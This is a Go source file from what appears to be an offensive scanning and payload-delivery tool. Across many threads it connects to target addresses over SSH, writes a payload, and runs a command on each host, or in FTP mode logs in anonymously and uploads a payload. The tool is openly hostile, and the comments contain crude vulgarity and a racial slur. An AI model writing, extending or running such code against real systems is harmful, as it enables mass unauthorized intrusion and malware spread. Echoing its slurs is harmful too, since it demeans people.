package common // separate channel iterators per case might not look the prettiest, but performs better due to // not checking Params.Mode after every addr is received and avoiding an extra cmp every cycle. // form over function source code aestheticians can suck the skin off my dick. on chirp. func thread(addrs <-chan string, tab chan<- interface{}) { switch Params.Mode { case 0: // ssh for addr := range addrs { if !ipexcluded(addr) { if !Params.Silent { info("trying ssh connection to " + addr) } if c, err := connssh(addr); err == nil { success("connected to " + addr + " - " + string(c.ServerVersion())) if err = loadpl(c); err == nil { success("wrote payload to " + c.RemoteAddr().String()) if Params.Command != "" { if err = runcmd(c, Params.Command); err == nil { success("executed command on " + c.LocalAddr().String() + " as " + c.User()) } } } c.Close() } } } default: // ftp for addr := range addrs { if !ipexcluded(addr) { if !Params.Silent { info("trying anonymous ftp connection to " + addr) } if c, err := connftp(addr); err == nil { success("logged into " + addr + " as anonymous") if err = uploadplftp(c); err == nil { success("delivered payload to anonymous ftp server at " + addr) } c.Quit() } } } } tab <- "hack the planet" } func Takeoff() { // id die for my niggas // i ride my niggas // ride for* pause() addrs := make(chan string) tab := make(chan interface{}) for x := 0; x < Params.Threads; x++ { go thread(addrs, tab) } if Params.Cidr != "" { if !cidrexcluded(Params.Cidr) { lcgcidr(Params.Cidr, addrs) } else { fatal("provided cidr " + Params.Cidr + " is within an excluded range") } } else { readlist(Params.Targets, addrs) } close(addrs) for x := 0; x < Params.Threads; x++ { <-tab } close(tab) }